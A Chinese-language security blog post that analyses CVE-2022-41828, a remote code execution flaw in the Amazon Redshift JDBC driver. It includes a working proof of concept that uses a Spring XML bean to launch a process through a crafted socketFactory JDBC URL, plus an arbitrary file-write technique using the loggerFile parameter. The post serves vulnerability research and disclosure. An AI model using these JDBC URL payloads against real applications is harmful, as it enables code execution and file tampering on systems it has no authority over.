amazon-redshift-jdbc-driver 任意代码执行漏洞

wKg0C2N928eAUYt5AACfiHyYhuk907.png

amazon-redshift-jdbc-driver 2.1.0.7及更低版本中存在潜在的远程命令执行问题。当插件与驱动程序一起使用时,它会根据通过sslhostnameverifier、socketFactory、sslfactory和sslpasswordcallback连接属性提供的Java类名来实例化插件实例。在受影响的版本中,驱动程序不会在实例化之前验证插件类是否实现了预期的接口。这可能导致加载任意Java类,有知识的攻击者可以使用这些类控制JDBCURL来实现远程代码执行。

创建 maven 项目,添加依赖

<!-- https://mvnrepository.com/artifact/com.amazon.redshift/redshift-jdbc42 -->
<dependency>
    <groupId>com.amazon.redshift</groupId>
    <artifactId>redshift-jdbc42</artifactId>
    <version>2.1.0.7</version>
</dependency>
    <!-- https://mvnrepository.com/artifact/org.springframework/spring-context-support -->
    <dependency>
        <groupId>org.springframework</groupId>
        <artifactId>spring-context-support</artifactId>
        <version>5.3.23</version>
    </dependency>

bean.xml

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:p="http://www.springframework.org/schema/p"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
        http://www.springframework.org/schema/beans/spring-beans.xsd">
<!--    普通方式创建类-->
   <bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value>calc.exe</value>
          </list>
        </constructor-arg>
    </bean>
</beans>

编写测试代码

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

public class CVE202241828 {
    public static void main(String[] args) throws SQLException {
        String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";
        String socketFactoryArg = "http://127.0.0.1:8080/bean.xml";
        String jdbcUrl = "jdbc:redshift://127.0.0.1:5432/test?socketFactory="+socketFactoryClass+"&socketFactoryArg="+socketFactoryArg;
        Connection connection = DriverManager.getConnection(jdbcUrl);
    }
}

wKg0C2N93tCABuuAABY7C5AVt7Q580.gif

这个漏洞跟 PostgresQL JDBC Drive 任意代码执行漏洞(CVE-2022-21724) 很类似,就不做具体分析,仅画出漏洞调用图

wKg0C2N93u2AC4g8AAEacX0tseI825.png

漏洞修复

要求获取的类名必须是指定类的子类,否则就抛出异常

wKg0C2N93vqACHJXAACe2nlQsIU804.png

按照一个漏洞发现的思路来说,PostgresQL-JDBC 存在代码执行和任意文件写入漏洞,那么对于 Redshift-jdbc 也应该存在着类似的任意文件写入漏洞

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

public class CVE202241828 {
    public static void main(String[] args) throws SQLException {
        String loggerLevel = "debug";
        String shellContent="test";
        String loggerFile= "test\\test.txt";
        String jdbcUrl =
                "jdbc:redshift://127.0.0.1:5432/test?loggerFile="+loggerFile+"&loggerLevel="+loggerLevel+"&"+shellContent;
        Connection connection = DriverManager.getConnection(jdbcUrl);
    }
}

wKg0C2N93S2ALeNJAACEwcmXDuk533.png

wKg0C2N93R6AQWI8AADufjQXE267.png

com.amazon.redshift.Driver#connect

wKg0C2N93T2AVh7lAACLrcykodE830.png

通过 getLogger 设定 日志的相关参数,之后将 url 保存为 String temp 然后保存日志文件

com.amazon.redshift.Driver#getLogger

wKg0C2N93VCAXZ3gAAC2oMRq18739.png

前面通过提取 jdbcurl 中对应的参数,然后调用 RedshiftLogger 设置日志的相关参数

com.amazon.redshift.logger.RedshiftLogger#RedshiftLogger

wKg0C2N93WaAJZEkAABphcmBcKk857.png

此处的 logLevel 必须为 String ERROR、INFO、FUNCTION、DEBUG、TRACE 中任意一个

或者为 int 1、2、3、6 中的一个

com.amazon.redshift.logger.LogFileHandler#LogFileHandler

wKg0C2N93X2AD4PGAACQyE79T5I711.png

在这个地方会根据 \ 来分割文件名和目录,所以我们为 loggerFile 赋值时需要注意,同时也因为没有做校验,所以可以实现任意文件写入

然后在 com.amazon.redshift.Driver#connect 触发了保存操作

wKg0C2N93ZOALWSAABWcNvYEb4473.png

posted @ 2023-11-27 10:40  SecIN社区  阅读(56)  评论(0编辑  收藏  举报